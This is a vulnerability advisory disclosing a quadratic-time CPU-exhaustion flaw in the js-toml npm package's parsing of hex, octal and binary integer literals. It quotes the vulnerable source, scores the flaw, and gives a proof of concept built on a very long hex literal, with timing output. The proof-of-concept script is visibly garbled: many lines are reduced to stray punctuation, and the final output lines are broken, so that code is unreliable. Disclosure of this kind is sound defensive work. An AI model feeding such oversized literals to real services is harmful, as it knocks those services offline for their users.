js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals

Summary

js-toml versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written parseBigInt loop that multiplies a BigInt accumulator by the radix once per input digit. Each iteration performs a BigInt * BigInt operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.

A caller that invokes load() on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party *.toml, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.

CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (HIGH) when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).

Affected

• Package: js-toml (npm)
• Versions: >= 0.0.0, <= 1.1.0 (all released versions up to and including the current 1.1.0)
• Affected entry point: load() exported from the package root

Vulnerable code

src/load/tokens/NonDecimalInteger.ts lines 54-84 at SHA-pinned 2470ebf2e9009096aa4cbd1a15e574c54cc36b1a:

const parseBigInt = (string: string, radix: number): bigint => {
  let result = BigInt(0);
  for (let i = 0; i < string.length; i++) {
    const char = string[i];
    const digit = parseInt(char, radix);
    result = result * BigInt(radix) + BigInt(digit);
  }

  return result;
};

and the interpreter that dispatches to it at lines 72-84:

registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
  const intString = raw.replace(/_/g, '');
  const digits = intString.slice(2);
  const radix = getRadix(raw);

  const int = parseInt(digits, radix);

  if (Number.isSafeInteger(int)) {
    return int;
  }

  return parseBigInt(digits, radix);
});

Two compounding problems:

1. Algorithmic: the loop performs result * BigInt(radix) + BigInt(digit) once per input digit. After i iterations result has O(i) limbs, so the multiply costs O(i). Summed over n digits the total cost is O(n²).

2. No length guard: the lexer regex at src/load/tokens/NonDecimalInteger.ts#L14-L46 is 0x<hexDigit>(<hexDigit>|_<hexDigit>)* (likewise for 0o / 0b). The literal length is bounded only by the input document size. There is no maxNumberLength / maxLiteralLength option, no chevrotain-level cutoff, and no validation at the interpreter callsite.

By contrast, the DecimalInteger token interpreter at src/load/tokens/DecimalInteger.ts#L12-L19 uses the V8 native BigInt(intString) constructor, which is O(n) and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.

Impact

A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With 8 MB of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls load() (the only documented entry point) on attacker-controlled or third-party TOML.

Reachability

The vulnerable path is the default code path for load(). No options or configuration are required to trigger it. Any caller that exposes load() to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds Number.MAX_SAFE_INTEGER (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).

Realistic exposure surfaces:

• Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).
• CI / CD or build tool that runs js-toml on TOML in third-party repositories or pull requests.
• IDE / language-server plugin that re-parses a TOML buffer on every keystroke.
• Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.

PoC (End-to-end reproduction)

Environment

• Node.js v22.x (tested on v22.0.0 and Node v26.0.0)
• macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)

Install

mkdir js-toml-cve && cd js-toml-cve
npm init -y
npm install [email protected] @iarna/toml

poc_full_e2e.mjs

import { load } from 'js-toml';
import iarna from '@iarna/toml';

function timeIt(label, fn) {
  const t0 = process.hrtime.bigint();
  let result, err;
  try { result = fn(); } catch (e) { err = e; }
  const t1 = process.hrtime.bigint();
  const ms = (Number(t1 - t0) / 1e6).toFixed(1);
  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);
  else     console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);
}

console.log('--- Sanity baseline (small inputs) ---');
timeIt('decimal int 1', () => { load('x = 1'); return ''; });
(,       { ();  ; });
(,     { ();  ; });

.();
 ( n  [, , , , , ]) {
   hexDigits = .(n);
   tomlText  = ;
  (,
     {
       r = (tomlText);
       ;
    });
}

.();
 ( n  [, , , ]) {
   hexDigits = .(n);
   tomlText  = ;
  (,
     {
       r = iarna.(tomlText);
       ;
    });
}

.();
 ( n  [, ]) {
   octDigits = .(n);
   binDigits = .(n);
  (,
     {  r = ();  ; });
  (,
     {  r = ();  ; });
}

Captured run output (unpatched [email protected], Node v26.0.0, Apple M-series)

# js-toml version: 1.1.0

--- Sanity baseline (small inputs) ---
decimal int 1: 1.3ms
hex 0x10: 0.4ms
hex 0xffff: 0.1ms

--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits (10006 bytes input): 15.0ms bits=40000
hex 20,000 digits (20006 bytes input): 29.8ms bits=80000
hex 50,000 digits (50006 bytes input): 214.7ms bits=200000
hex 100,000 digits (100006 bytes input): 693.0ms bits=400000
hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000
hex , digits (  ): ms bits=

--- Negative control: same  via @iarna/toml ---